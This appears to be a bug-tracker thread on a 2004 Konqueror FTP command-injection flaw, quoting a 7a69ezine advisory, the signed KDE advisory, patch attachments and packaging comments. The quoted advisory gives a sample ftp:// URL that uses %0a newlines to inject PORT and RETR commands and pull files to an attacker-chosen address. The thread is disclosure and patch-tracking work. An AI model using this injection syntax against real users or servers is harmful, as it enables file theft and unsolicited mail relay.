- ------------------------------------------------------------------ 7a69ezine Advisories 7a69Adv#16 - ------------------------------------------------------------------ http://www.7a69ezine.org [05/12/2004] - ------------------------------------------------------------------ Title: Konqueror FTP command injection Author: Albert Puigsech Galicia - <ripe 7a69ezine org> Software: Konqueror browser Versions: >= 3.3.1 Remote: yes Exploit: yes Severity: Low-Medium - ------------------------------------------------------------------ I. Introduction. Konqueror is a very multifuncional HTTP browser included on KDE base package. Like others browsers it can use more protocols, for example FTP. This aplication is usualy used to navigate through the filesystems. II. Description. In order to access to a server FTP using Internet Explorer you write "ftp://ftpuser:ftppass@server/directory" in the directions's bar and then the navigator connects to the server and executes the following commands (and other that have omitted because they are not important for this stuff). USER ftpuser PASS ftppass CWD /directory/ The security problem resides in which is posible to inject FTP commands on the URL adding at the code %0a followed by your injected commands. If you do "ftp://ftpuser:ftppass@server/directory%0asomecommand%0a" it will execute those commands. USER ftpuser PASS ftppass CWD /directory somecommand The last line is an erroneous command, but it's not a problem because 'somecommand' has already been executed. III. Exploit You need to deceive a user to go to your URL and then to introduce a valid user and password. So yes! The explotation also requires to apply social engineering. Then you can do a lot of things using this bug like create or delete files and directories, but probably, the most interesting thing is to download files. Its posible to do that using this URL; ftp://server/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file Then the server will connect to a.b.c.d and port e,f (see FTP RFC to translate the port number) and will send the file data. IV. Patch Konqueror developers have been contacted, and patch will be avaliable soon. V. Timeline 01/12/2004 - Bug discovered 02/12/2004 - KDE developers contacted 03/12/2004 - Fast developers reply 03/12/2004 - IE also afected, so we decide to publish the bug 05/12/2004 - Advisor released
kde please verify and advise.
kde is this fixed with 3.3.2?
Seems to be fixed in CVS now: http://bugs.kde.org/show_bug.cgi?id=95825
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 KDE Security Advisory: ftp kioslave command injection Original Release Date: 2005-01-01 URL: http://www.kde.org/info/security/advisory-20050101-1.txt 0. References http://www.securityfocus.com/bid/11827 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1165 1. Systems affected: All KDE releases up to including KDE 3.3.2. 2. Overview: KDE applications which use the ftp kioslave, e.g. Konqueror, allow remote attackers to execute arbitrary FTP commands via an ftp:// URL that contains an URL-encoded newline ( %0a ) before the ftp command, which causes the commands to be inserted into the resulting FTP session. Due to similiarities between the ftp and the SMTP protocol, this vulnerability allows to misuse the ftp slave to connect to a SMTP server and issue arbitrary commands, like sending an email. 3. Impact: The FTP kioslave can be misused to execute any ftp command on the server or be a vector for sending out unsolicited email. 4. Solution: Source code patches have been made available which fix these vulnerabilities. Contact your OS vendor / binary package provider for information about how to obtain updated binary packages. 5. Patch: Patch for KDE 3.2.3 is available from ftp://ftp.kde.org/pub/kde/security_patches : a639b7b592f005e911c454a0a8c9c542 post-3.2.3-kdelibs-kioslave.patch Patch for KDE 3.3.2 is available from ftp://ftp.kde.org/pub/kde/security_patches : fe67157b26a8cdf5bcfa1898cdf3b154 post-3.3.2-kdelibs-kioslave.patch 6. Time line and credits: 26/12/2004 Public bug report filed against kio_ftp by Thiago Macieira about being able to send email via kio_ftp CR/LF injection. 26/12/2004 Patches developed by Thiago Macieira developed and applied to CVS. 01/01/2005 Advisory released. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.5 (GNU/Linux) iD8DBQFB1ZPcvsXr+iuy1UoRAiSWAJ49IvuT9yPcKVFqjN2fFthdHOwOGACfX+qH 0iekelUzvQw3OPsLuOPFixg= =57Wh -----END PGP SIGNATURE-----
Created attachment 47493 [details, diff] 3.3.2 patch
Created attachment 47494 [details, diff] 3.3.2 patch
Created attachment 47495 [details, diff] 3.2.3 patch
Commited fix as: kdelibs-3.2.3-r5 kdelibs-3.3.2-r2 Stable arches were left stable.
Thx Caleb. Handling stable marking on bug #72750
GLSA 200501-18
sparc stable closing with GLSA 200501-18